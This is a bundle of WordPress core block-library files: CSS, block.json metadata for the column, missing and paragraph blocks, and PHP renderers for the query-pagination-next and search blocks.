.wp-block-audio audio{
  min-width:300px;
  width:100%;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/column",
	"title": "Column",
	"category": "design",
	"parent": [ "core/columns" ],
	"description": "A single column within a columns block.",
	"textdomain": "default",
	"attributes": {
		"verticalAlignment": {
			"type": "string"
		},
		"width": {
			"type": "string"
		},
		"allowedBlocks": {
			"type": "array"
		},
		"templateLock": {
			"type": [ "string", "boolean" ],
			"enum": [ "all", "insert", "contentOnly", false ]
		}
	},
	"supports": {
		"__experimentalOnEnter": true,
		"anchor": true,
		"reusable": false,
		"html": false,
		"color": {
			"gradients": true,
			"heading": true,
			"button": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"shadow": true,
		"spacing": {
			"blockGap": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"padding": true,
				"blockGap": true
			}
		},
		"__experimentalBorder": {
			"color": true,
			"style": true,
			"width": true,
			"__experimentalDefaultControls": {
				"color": true,
				"style": true,
				"width": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"layout": true,
		"interactivity": {
			"clientNavigation": true
		}
	}
}
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/missing",
	"title": "Unsupported",
	"category": "text",
	"description": "Your site doesn’t include support for this block.",
	"textdomain": "default",
	"attributes": {
		"originalName": {
			"type": "string"
		},
		"originalUndelimitedContent": {
			"type": "string"
		},
		"originalContent": {
			"type": "string",
			"source": "raw"
		}
	},
	"supports": {
		"className": false,
		"customClassName": false,
		"inserter": false,
		"html": false,
		"reusable": false,
		"interactivity": {
			"clientNavigation": true
		}
	}
}
<?php
/**
 * Server-side rendering of the `core/query-pagination-next` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/query-pagination-next` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 *
 * @return string Returns the next posts link for the query pagination.
 */
function render_block_core_query_pagination_next( $attributes, $content, $block ) {
	$page_key            = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page';
	$enhanced_pagination = isset( $block->context['enhancedPagination'] ) && $block->context['enhancedPagination'];
	$page                = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ];
	$max_page            = isset( $block->context['query']['pages'] ) ? (int) $block->context['query']['pages'] : 0;

	$wrapper_attributes = get_block_wrapper_attributes();
	$show_label         = isset( $block->context['showLabel'] ) ? (bool) $block->context['showLabel'] : true;
	$default_label      = __( 'Next Page' );
	$label_text         = isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ? esc_html( $attributes['label'] ) : $default_label;
	$label              = $show_label ? $label_text : '';
	$pagination_arrow   = get_query_pagination_arrow( $block, true );

	if ( ! $label ) {
		$wrapper_attributes .= ' aria-label="' . $label_text . '"';
	}
	if ( $pagination_arrow ) {
		$label .= $pagination_arrow;
	}
	$content = '';

	// Check if the pagination is for Query that inherits the global context.
	if ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ) {
		$filter_link_attributes = static function () use ( $wrapper_attributes ) {
			return $wrapper_attributes;
		};
		add_filter( 'next_posts_link_attributes', $filter_link_attributes );
		// Take into account if we have set a bigger `max page`
		// than what the query has.
		global $wp_query;
		if ( $max_page > $wp_query->max_num_pages ) {
			$max_page = $wp_query->max_num_pages;
		}
		$content = get_next_posts_link( $label, $max_page );
		remove_filter( 'next_posts_link_attributes', $filter_link_attributes );
	} elseif ( ! $max_page || $max_page > $page ) {
		$custom_query           = new WP_Query( build_query_vars_from_query_block( $block, $page ) );
		$custom_query_max_pages = (int) $custom_query->max_num_pages;
		if ( $custom_query_max_pages && $custom_query_max_pages !== $page ) {
			$content = sprintf(
				'<a href="%1$s" %2$s>%3$s</a>',
				esc_url( add_query_arg( $page_key, $page + 1 ) ),
				$wrapper_attributes,
				$label
			);
		}
		wp_reset_postdata(); // Restore original Post Data.
	}

	if ( $enhanced_pagination && isset( $content ) ) {
		$p = new WP_HTML_Tag_Processor( $content );
		if ( $p->next_tag(
			array(
				'tag_name'   => 'a',
				'class_name' => 'wp-block-query-pagination-next',
			)
		) ) {
			$p->set_attribute( 'data-wp-key', 'query-pagination-next' );
			$p->set_attribute( 'data-wp-on--click', 'core/query::actions.navigate' );
			$p->set_attribute( 'data-wp-on--mouseenter', 'core/query::actions.prefetch' );
			$p->set_attribute( 'data-wp-watch', 'core/query::callbacks.prefetch' );
			$content = $p->get_updated_html();
		}
	}

	return $content;
}

/**
 * Registers the `core/query-pagination-next` block on the server.
 */
function register_block_core_query_pagination_next() {
	register_block_type_from_metadata(
		__DIR__ . '/query-pagination-next',
		array(
			'render_callback' => 'render_block_core_query_pagination_next',
		)
	);
}
add_action( 'init', 'register_block_core_query_pagination_next' );
<?php
/**
 * Server-side rendering of the `core/search` block.
 *
 * @package WordPress
 */

/**
 * Dynamically renders the `core/search` block.
 *
 * @since 6.3.0 Using block.json `viewScript` to register script, and update `view_script_handles()` only when needed.
 *
 * @param array    $attributes The block attributes.
 * @param string   $content    The saved content.
 * @param WP_Block $block      The parsed block.
 *
 * @return string The search block markup.
 */
function render_block_core_search( $attributes ) {
	// Older versions of the Search block defaulted the label and buttonText
	// attributes to `__( 'Search' )` meaning that many posts contain `<!--
	// wp:search /-->`. Support these by defaulting an undefined label and
	// buttonText to `__( 'Search' )`.
	$attributes = wp_parse_args(
		$attributes,
		array(
			'label'      => __( 'Search' ),
			'buttonText' => __( 'Search' ),
		)
	);

	$input_id            = wp_unique_id( 'wp-block-search__input-' );
	$classnames          = classnames_for_block_core_search( $attributes );
	$show_label          = ( ! empty( $attributes['showLabel'] ) ) ? true : false;
	$use_icon_button     = ( ! empty( $attributes['buttonUseIcon'] ) ) ? true : false;
	$show_button         = ( ! empty( $attributes['buttonPosition'] ) && 'no-button' === $attributes['buttonPosition'] ) ? false : true;
	$button_position     = $show_button ? $attributes['buttonPosition'] : null;
	$query_params        = ( ! empty( $attributes['query'] ) ) ? $attributes['query'] : array();
	$button              = '';
	$query_params_markup = '';
	$inline_styles       = styles_for_block_core_search( $attributes );
	$color_classes       = get_color_classes_for_block_core_search( $attributes );
	$typography_classes  = get_typography_classes_for_block_core_search( $attributes );
	$is_button_inside    = ! empty( $attributes['buttonPosition'] ) &&
		'button-inside' === $attributes['buttonPosition'];
	// Border color classes need to be applied to the elements that have a border color.
	$border_color_classes = get_border_color_classes_for_block_core_search( $attributes );
	// This variable is a constant and its value is always false at this moment.
	// It is defined this way because some values depend on it, in case it changes in the future.
	$open_by_default = false;

	$label_inner_html = empty( $attributes['label'] ) ? __( 'Search' ) : wp_kses_post( $attributes['label'] );
	$label            = new WP_HTML_Tag_Processor( sprintf( '<label %1$s>%2$s</label>', $inline_styles['label'], $label_inner_html ) );
	if ( $label->next_tag() ) {
		$label->set_attribute( 'for', $input_id );
		$label->add_class( 'wp-block-search__label' );
		if ( $show_label && ! empty( $attributes['label'] ) ) {
			if ( ! empty( $typography_classes ) ) {
				$label->add_class( $typography_classes );
			}
		} else {
			$label->add_class( 'screen-reader-text' );
		}
	}

	$input         = new WP_HTML_Tag_Processor( sprintf( '<input type="search" name="s" required %s/>', $inline_styles['input'] ) );
	$input_classes = array( 'wp-block-search__input' );
	if ( ! $is_button_inside && ! empty( $border_color_classes ) ) {
		$input_classes[] = $border_color_classes;
	}
	if ( ! empty( $typography_classes ) ) {
		$input_classes[] = $typography_classes;
	}
	if ( $input->next_tag() ) {
		$input->add_class( implode( ' ', $input_classes ) );
		$input->set_attribute( 'id', $input_id );
		$input->set_attribute( 'value', get_search_query() );
		$input->set_attribute( 'placeholder', $attributes['placeholder'] );

		// If it's interactive, enqueue the script module and add the directives.
		$is_expandable_searchfield = 'button-only' === $button_position;
		if ( $is_expandable_searchfield ) {
			$suffix = wp_scripts_get_suffix();
			if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN ) {
				$module_url = gutenberg_url( '/build/interactivity/search.min.js' );
			}

			wp_register_script_module(
				'@wordpress/block-library/search',
				isset( $module_url ) ? $module_url : includes_url( "blocks/search/view{$suffix}.js" ),
				array( '@wordpress/interactivity' ),
				defined( 'GUTENBERG_VERSION' ) ? GUTENBERG_VERSION : get_bloginfo( 'version' )
			);
			wp_enqueue_script_module( '@wordpress/block-library/search' );

			$input->set_attribute( 'data-wp-bind--aria-hidden', '!context.isSearchInputVisible' );
			$input->set_attribute( 'data-wp-bind--tabindex', 'state.tabindex' );

			// Adding these attributes manually is needed until the Interactivity API
			// SSR logic is added to core.
			$input->set_attribute( 'aria-hidden', 'true' );
			$input->set_attribute( 'tabindex', '-1' );
		}
	}

	if ( count( $query_params ) > 0 ) {
		foreach ( $query_params as $param => $value ) {
			$query_params_markup .= sprintf(
				'<input type="hidden" name="%s" value="%s" />',
				esc_attr( $param ),
				esc_attr( $value )
			);
		}
	}

	if ( $show_button ) {
		$button_classes         = array( 'wp-block-search__button' );
		$button_internal_markup = '';
		if ( ! empty( $color_classes ) ) {
			$button_classes[] = $color_classes;
		}
		if ( ! empty( $typography_classes ) ) {
			$button_classes[] = $typography_classes;
		}

		if ( ! $is_button_inside && ! empty( $border_color_classes ) ) {
			$button_classes[] = $border_color_classes;
		}
		if ( ! $use_icon_button ) {
			if ( ! empty( $attributes['buttonText'] ) ) {
				$button_internal_markup = wp_kses_post( $attributes['buttonText'] );
			}
		} else {
			$button_classes[]       = 'has-icon';
			$button_internal_markup =
				'<svg class="search-icon" viewBox="0 0 24 24" width="24" height="24">
					<path d="M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z"></path>
				</svg>';
		}

		// Include the button element class.
		$button_classes[] = wp_theme_get_element_class_name( 'button' );
		$button           = new WP_HTML_Tag_Processor( sprintf( '<button type="submit" %s>%s</button>', $inline_styles['button'], $button_internal_markup ) );

		if ( $button->next_tag() ) {
			$button->add_class( implode( ' ', $button_classes ) );
			if ( 'button-only' === $attributes['buttonPosition'] ) {
				$button->set_attribute( 'data-wp-bind--aria-label', 'state.ariaLabel' );
				$button->set_attribute( 'data-wp-bind--aria-controls', 'state.ariaControls' );
				$button->set_attribute( 'data-wp-bind--aria-expanded', 'context.isSearchInputVisible' );
				$button->set_attribute( 'data-wp-bind--type', 'state.type' );
				$button->set_attribute( 'data-wp-on--click', 'actions.openSearchInput' );

				// Adding these attributes manually is needed until the Interactivity
				// API SSR logic is added to core.
				$button->set_attribute( 'aria-label', __( 'Expand search field' ) );
				$button->set_attribute( 'aria-controls', 'wp-block-search__input-' . $input_id );
				$button->set_attribute( 'aria-expanded', 'false' );
				$button->set_attribute( 'type', 'button' );
			} else {
				$button->set_attribute( 'aria-label', wp_strip_all_tags( $attributes['buttonText'] ) );
			}
		}
	}

	$field_markup_classes = $is_button_inside ? $border_color_classes : '';
	$field_markup         = sprintf(
		'<div class="wp-block-search__inside-wrapper %s" %s>%s</div>',
		esc_attr( $field_markup_classes ),
		$inline_styles['wrapper'],
		$input . $query_params_markup . $button
	);
	$wrapper_attributes   = get_block_wrapper_attributes(
		array( 'class' => $classnames )
	);
	$form_directives      = '';

	// If it's interactive, add the directives.
	if ( $is_expandable_searchfield ) {
		$aria_label_expanded  = __( 'Submit Search' );
		$aria_label_collapsed = __( 'Expand search field' );
		$form_context         = wp_interactivity_data_wp_context(
			array(
				'isSearchInputVisible' => $open_by_default,
				'inputId'              => $input_id,
				'ariaLabelExpanded'    => $aria_label_expanded,
				'ariaLabelCollapsed'   => $aria_label_collapsed,
			)
		);
		$form_directives      = '
		 data-wp-interactive="core/search"'
		. $form_context .
		'data-wp-class--wp-block-search__searchfield-hidden="!context.isSearchInputVisible"
		 data-wp-on--keydown="actions.handleSearchKeydown"
		 data-wp-on--focusout="actions.handleSearchFocusout"
		';
	}

	return sprintf(
		'<form role="search" method="get" action="%1s" %2s %3s>%4s</form>',
		esc_url( home_url( '/' ) ),
		$wrapper_attributes,
		$form_directives,
		$label . $field_markup
	);
}

/**
 * Registers the `core/search` block on the server.
 */
function register_block_core_search() {
	register_block_type_from_metadata(
		__DIR__ . '/search',
		array(
			'render_callback' => 'render_block_core_search',
		)
	);
}
add_action( 'init', 'register_block_core_search' );

/**
 * Builds the correct top level classnames for the 'core/search' block.
 *
 * @param array $attributes The block attributes.
 *
 * @return string The classnames used in the block.
 */
function classnames_for_block_core_search( $attributes ) {
	$classnames = array();

	if ( ! empty( $attributes['buttonPosition'] ) ) {
		if ( 'button-inside' === $attributes['buttonPosition'] ) {
			$classnames[] = 'wp-block-search__button-inside';
		}

		if ( 'button-outside' === $attributes['buttonPosition'] ) {
			$classnames[] = 'wp-block-search__button-outside';
		}

		if ( 'no-button' === $attributes['buttonPosition'] ) {
			$classnames[] = 'wp-block-search__no-button';
		}

		if ( 'button-only' === $attributes['buttonPosition'] ) {
			$classnames[] = 'wp-block-search__button-only wp-block-search__searchfield-hidden';
		}
	}

	if ( isset( $attributes['buttonUseIcon'] ) ) {
		if ( ! empty( $attributes['buttonPosition'] ) && 'no-button' !== $attributes['buttonPosition'] ) {
			if ( $attributes['buttonUseIcon'] ) {
				$classnames[] = 'wp-block-search__icon-button';
			} else {
				$classnames[] = 'wp-block-search__text-button';
			}
		}
	}

	return implode( ' ', $classnames );
}

/**
 * This generates a CSS rule for the given border property and side if provided.
 * Based on whether the Search block is configured to display the button inside
 * or not, the generated rule is injected into the appropriate collection of
 * styles for later application in the block's markup.
 *
 * @param array  $attributes     The block attributes.
 * @param string $property       Border property to generate rule for e.g. width or color.
 * @param string $side           Optional side border. The dictates the value retrieved and final CSS property.
 * @param array  $wrapper_styles Current collection of wrapper styles.
 * @param array  $button_styles  Current collection of button styles.
 * @param array  $input_styles   Current collection of input styles.
 */
function apply_block_core_search_border_style( $attributes, $property, $side, &$wrapper_styles, &$button_styles, &$input_styles ) {
	$is_button_inside = isset( $attributes['buttonPosition'] ) && 'button-inside' === $attributes['buttonPosition'];

	$path = array( 'style', 'border', $property );

	if ( $side ) {
		array_splice( $path, 2, 0, $side );
	}

	$value = _wp_array_get( $attributes, $path, false );

	if ( empty( $value ) ) {
		return;
	}

	if ( 'color' === $property && $side ) {
		$has_color_preset = str_contains( $value, 'var:preset|color|' );
		if ( $has_color_preset ) {
			$named_color_value = substr( $value, strrpos( $value, '|' ) + 1 );
			$value             = sprintf( 'var(--wp--preset--color--%s)', $named_color_value );
		}
	}

	$property_suffix = $side ? sprintf( '%s-%s', $side, $property ) : $property;

	if ( $is_button_inside ) {
		$wrapper_styles[] = sprintf( 'border-%s: %s;', $property_suffix, esc_attr( $value ) );
	} else {
		$button_styles[] = sprintf( 'border-%s: %s;', $property_suffix, esc_attr( $value ) );
		$input_styles[]  = sprintf( 'border-%s: %s;', $property_suffix, esc_attr( $value ) );
	}
}

/**
 * This adds CSS rules for a given border property e.g. width or color. It
 * injects rules into the provided wrapper, button and input style arrays for
 * uniform "flat" borders or those with individual sides configured.
 *
 * @param array  $attributes     The block attributes.
 * @param string $property       Border property to generate rule for e.g. width or color.
 * @param array  $wrapper_styles Current collection of wrapper styles.
 * @param array  $button_styles  Current collection of button styles.
 * @param array  $input_styles   Current collection of input styles.
 */
function apply_block_core_search_border_styles( $attributes, $property, &$wrapper_styles, &$button_styles, &$input_styles ) {
	apply_block_core_search_border_style( $attributes, $property, null, $wrapper_styles, $button_styles, $input_styles );
	apply_block_core_search_border_style( $attributes, $property, 'top', $wrapper_styles, $button_styles, $input_styles );
	apply_block_core_search_border_style( $attributes, $property, 'right', $wrapper_styles, $button_styles, $input_styles );
	apply_block_core_search_border_style( $attributes, $property, 'bottom', $wrapper_styles, $button_styles, $input_styles );
	apply_block_core_search_border_style( $attributes, $property, 'left', $wrapper_styles, $button_styles, $input_styles );
}

/**
 * Builds an array of inline styles for the search block.
 *
 * The result will contain one entry for shared styles such as those for the
 * inner input or button and a second for the inner wrapper should the block
 * be positioning the button "inside".
 *
 * @param  array $attributes The block attributes.
 *
 * @return array Style HTML attribute.
 */
function styles_for_block_core_search( $attributes ) {
	$wrapper_styles   = array();
	$button_styles    = array();
	$input_styles     = array();
	$label_styles     = array();
	$is_button_inside = ! empty( $attributes['buttonPosition'] ) &&
		'button-inside' === $attributes['buttonPosition'];
	$show_label       = ( isset( $attributes['showLabel'] ) ) && false !== $attributes['showLabel'];

	// Add width styles.
	$has_width = ! empty( $attributes['width'] ) && ! empty( $attributes['widthUnit'] );

	if ( $has_width ) {
		$wrapper_styles[] = sprintf(
			'width: %d%s;',
			esc_attr( $attributes['width'] ),
			esc_attr( $attributes['widthUnit'] )
		);
	}

	// Add border width and color styles.
	apply_block_core_search_border_styles( $attributes, 'width', $wrapper_styles, $button_styles, $input_styles );
	apply_block_core_search_border_styles( $attributes, 'color', $wrapper_styles, $button_styles, $input_styles );
	apply_block_core_search_border_styles( $attributes, 'style', $wrapper_styles, $button_styles, $input_styles );

	// Add border radius styles.
	$has_border_radius = ! empty( $attributes['style']['border']['radius'] );

	if ( $has_border_radius ) {
		$default_padding = '4px';
		$border_radius   = $attributes['style']['border']['radius'];

		if ( is_array( $border_radius ) ) {
			// Apply styles for individual corner border radii.
			foreach ( $border_radius as $key => $value ) {
				if ( null !== $value ) {
					// Convert camelCase key to kebab-case.
					$name = strtolower( preg_replace( '/(?<!^)[A-Z]/', '-$0', $key ) );

					// Add shared styles for individual border radii for input & button.
					$border_style    = sprintf(
						'border-%s-radius: %s;',
						esc_attr( $name ),
						esc_attr( $value )
					);
					$input_styles[]  = $border_style;
					$button_styles[] = $border_style;

					// Add adjusted border radius styles for the wrapper element
					// if button is positioned inside.
					if ( $is_button_inside && intval( $value ) !== 0 ) {
						$wrapper_styles[] = sprintf(
							'border-%s-radius: calc(%s + %s);',
							esc_attr( $name ),
							esc_attr( $value ),
							$default_padding
						);
					}
				}
			}
		} else {
			// Numeric check is for backwards compatibility purposes.
			$border_radius   = is_numeric( $border_radius ) ? $border_radius . 'px' : $border_radius;
			$border_style    = sprintf( 'border-radius: %s;', esc_attr( $border_radius ) );
			$input_styles[]  = $border_style;
			$button_styles[] = $border_style;

			if ( $is_button_inside && intval( $border_radius ) !== 0 ) {
				// Adjust wrapper border radii to maintain visual consistency
				// with inner elements when button is positioned inside.
				$wrapper_styles[] = sprintf(
					'border-radius: calc(%s + %s);',
					esc_attr( $border_radius ),
					$default_padding
				);
			}
		}
	}

	// Add color styles.
	$has_text_color = ! empty( $attributes['style']['color']['text'] );
	if ( $has_text_color ) {
		$button_styles[] = sprintf( 'color: %s;', $attributes['style']['color']['text'] );
	}

	$has_background_color = ! empty( $attributes['style']['color']['background'] );
	if ( $has_background_color ) {
		$button_styles[] = sprintf( 'background-color: %s;', $attributes['style']['color']['background'] );
	}

	$has_custom_gradient = ! empty( $attributes['style']['color']['gradient'] );
	if ( $has_custom_gradient ) {
		$button_styles[] = sprintf( 'background: %s;', $attributes['style']['color']['gradient'] );
	}

	// Get typography styles to be shared across inner elements.
	$typography_styles = esc_attr( get_typography_styles_for_block_core_search( $attributes ) );
	if ( ! empty( $typography_styles ) ) {
		$label_styles [] = $typography_styles;
		$button_styles[] = $typography_styles;
		$input_styles [] = $typography_styles;
	}

	// Typography text-decoration is only applied to the label and button.
	if ( ! empty( $attributes['style']['typography']['textDecoration'] ) ) {
		$text_decoration_value = sprintf( 'text-decoration: %s;', esc_attr( $attributes['style']['typography']['textDecoration'] ) );
		$button_styles[]       = $text_decoration_value;
		// Input opts out of text decoration.
		if ( $show_label ) {
			$label_styles[] = $text_decoration_value;
		}
	}

	return array(
		'input'   => ! empty( $input_styles ) ? sprintf( ' style="%s"', esc_attr( safecss_filter_attr( implode( ' ', $input_styles ) ) ) ) : '',
		'button'  => ! empty( $button_styles ) ? sprintf( ' style="%s"', esc_attr( safecss_filter_attr( implode( ' ', $button_styles ) ) ) ) : '',
		'wrapper' => ! empty( $wrapper_styles ) ? sprintf( ' style="%s"', esc_attr( safecss_filter_attr( implode( ' ', $wrapper_styles ) ) ) ) : '',
		'label'   => ! empty( $label_styles ) ? sprintf( ' style="%s"', esc_attr( safecss_filter_attr( implode( ' ', $label_styles ) ) ) ) : '',
	);
}

/**
 * Returns typography classnames depending on whether there are named font sizes/families .
 *
 * @param array $attributes The block attributes.
 *
 * @return string The typography color classnames to be applied to the block elements.
 */
function get_typography_classes_for_block_core_search( $attributes ) {
	$typography_classes    = array();
	$has_named_font_family = ! empty( $attributes['fontFamily'] );
	$has_named_font_size   = ! empty( $attributes['fontSize'] );

	if ( $has_named_font_size ) {
		$typography_classes[] = sprintf( 'has-%s-font-size', esc_attr( $attributes['fontSize'] ) );
	}

	if ( $has_named_font_family ) {
		$typography_classes[] = sprintf( 'has-%s-font-family', esc_attr( $attributes['fontFamily'] ) );
	}

	return implode( ' ', $typography_classes );
}

/**
 * Returns typography styles to be included in an HTML style tag.
 * This excludes text-decoration, which is applied only to the label and button elements of the search block.
 *
 * @param array $attributes The block attributes.
 *
 * @return string A string of typography CSS declarations.
 */
function get_typography_styles_for_block_core_search( $attributes ) {
	$typography_styles = array();

	// Add typography styles.
	if ( ! empty( $attributes['style']['typography']['fontSize'] ) ) {
		$typography_styles[] = sprintf(
			'font-size: %s;',
			wp_get_typography_font_size_value(
				array(
					'size' => $attributes['style']['typography']['fontSize'],
				)
			)
		);

	}

	if ( ! empty( $attributes['style']['typography']['fontFamily'] ) ) {
		$typography_styles[] = sprintf( 'font-family: %s;', $attributes['style']['typography']['fontFamily'] );
	}

	if ( ! empty( $attributes['style']['typography']['letterSpacing'] ) ) {
		$typography_styles[] = sprintf( 'letter-spacing: %s;', $attributes['style']['typography']['letterSpacing'] );
	}

	if ( ! empty( $attributes['style']['typography']['fontWeight'] ) ) {
		$typography_styles[] = sprintf( 'font-weight: %s;', $attributes['style']['typography']['fontWeight'] );
	}

	if ( ! empty( $attributes['style']['typography']['fontStyle'] ) ) {
		$typography_styles[] = sprintf( 'font-style: %s;', $attributes['style']['typography']['fontStyle'] );
	}

	if ( ! empty( $attributes['style']['typography']['lineHeight'] ) ) {
		$typography_styles[] = sprintf( 'line-height: %s;', $attributes['style']['typography']['lineHeight'] );
	}

	if ( ! empty( $attributes['style']['typography']['textTransform'] ) ) {
		$typography_styles[] = sprintf( 'text-transform: %s;', $attributes['style']['typography']['textTransform'] );
	}

	return implode( '', $typography_styles );
}

/**
 * Returns border color classnames depending on whether there are named or custom border colors.
 *
 * @param array $attributes The block attributes.
 *
 * @return string The border color classnames to be applied to the block elements.
 */
function get_border_color_classes_for_block_core_search( $attributes ) {
	$border_color_classes    = array();
	$has_custom_border_color = ! empty( $attributes['style']['border']['color'] );
	$has_named_border_color  = ! empty( $attributes['borderColor'] );

	if ( $has_custom_border_color || $has_named_border_color ) {
		$border_color_classes[] = 'has-border-color';
	}

	if ( $has_named_border_color ) {
		$border_color_classes[] = sprintf( 'has-%s-border-color', esc_attr( $attributes['borderColor'] ) );
	}

	return implode( ' ', $border_color_classes );
}

/**
 * Returns color classnames depending on whether there are named or custom text and background colors.
 *
 * @param array $attributes The block attributes.
 *
 * @return string The color classnames to be applied to the block elements.
 */
function get_color_classes_for_block_core_search( $attributes ) {
	$classnames = array();

	// Text color.
	$has_named_text_color  = ! empty( $attributes['textColor'] );
	$has_custom_text_color = ! empty( $attributes['style']['color']['text'] );
	if ( $has_named_text_color ) {
		$classnames[] = sprintf( 'has-text-color has-%s-color', $attributes['textColor'] );
	} elseif ( $has_custom_text_color ) {
		// If a custom 'textColor' was selected instead of a preset, still add the generic `has-text-color` class.
		$classnames[] = 'has-text-color';
	}

	// Background color.
	$has_named_background_color  = ! empty( $attributes['backgroundColor'] );
	$has_custom_background_color = ! empty( $attributes['style']['color']['background'] );
	$has_named_gradient          = ! empty( $attributes['gradient'] );
	$has_custom_gradient         = ! empty( $attributes['style']['color']['gradient'] );
	if (
		$has_named_background_color ||
		$has_custom_background_color ||
		$has_named_gradient ||
		$has_custom_gradient
	) {
		$classnames[] = 'has-background';
	}
	if ( $has_named_background_color ) {
		$classnames[] = sprintf( 'has-%s-background-color', $attributes['backgroundColor'] );
	}
	if ( $has_named_gradient ) {
		$classnames[] = sprintf( 'has-%s-gradient-background', $attributes['gradient'] );
	}

	return implode( ' ', $classnames );
}
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/paragraph",
	"title": "Paragraph",
	"category": "text",
	"description": "Start with the basic building block of all narrative.",
	"keywords": [ "text" ],
	"textdomain": "default",
	"usesContext": [ "postId" ],
	"attributes": {
		"align": {
			"type": "string"
		},
		"content": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "p",
			"__experimentalRole": "content"
		},
		"dropCap": {
			"type": "boolean",
			"default": false
		},
		"placeholder": {
			"type": "string"
		},
		"direction": {
			"type": "string",
			"enum": [ "ltr", "rtl" ]
		}
	},
	"supports": {
		"anchor": true,
		"className": false,
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalTextDecoration": true,
			"__experimentalFontStyle": true,
			"__experimentalFontWeight": true,
			"__experimentalLetterSpacing": true,
			"__experimentalTextTransform": true,
			"__experimentalWritingMode": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"__experimentalSelector": "p",
		"__unstablePasteTextInline": true,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-paragraph-editor",
	"style": "wp-block-paragraph"
}
.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{min-height:auto!important}.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{opacity:1}.block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder]{opacity:0}.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"],.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg}.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{
  min-height:auto !important;
}

.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{
  opacity:1;
}

.block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder]{
  opacity:0;
}

.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"],.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"]{
  rotate:180deg;
}.is-small-text{
  font-size:.875em;
}

.is-regular-text{
  font-size:1em;
}

.is-large-text{
  font-size:2.25em;
}

.is-larger-text{
  font-size:3em;
}

.has-drop-cap:not(:focus):first-letter{
  float:left;
  font-size:8.4em;
  font-style:normal;
  font-weight:100;
  line-height:.68;
  margin:.05em .1em 0 0;
  text-transform:uppercase;
}

body.rtl .has-drop-cap:not(:focus):first-letter{
  float:none;
  margin-left:.1em;
}

p.has-drop-cap.has-background{
  overflow:hidden;
}

p.has-background{
  padding:1.25em 2.375em;
}

:where(p.has-text-color:not(.has-link-color)) a{
  color:inherit;
}

p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{
  rotate:180deg;
}.is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:left;font-size:8.4em;font-style:normal;font-weight:100;line-height:.68;margin:.05em .1em 0 0;text-transform:uppercase}body.rtl .has-drop-cap:not(:focus):first-letter{float:none;margin-left:.1em}p.has-drop-cap.has-background{overflow:hidden}p.has-background{padding:1.25em 2.375em}:where(p.has-text-color:not(.has-link-color)) a{color:inherit}p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{rotate:180deg}.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{min-height:auto!important}.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{opacity:1}.block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder]{opacity:0}.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"],.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg}.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{
  min-height:auto !important;
}

.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{
  opacity:1;
}

.block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder]{
  opacity:0;
}

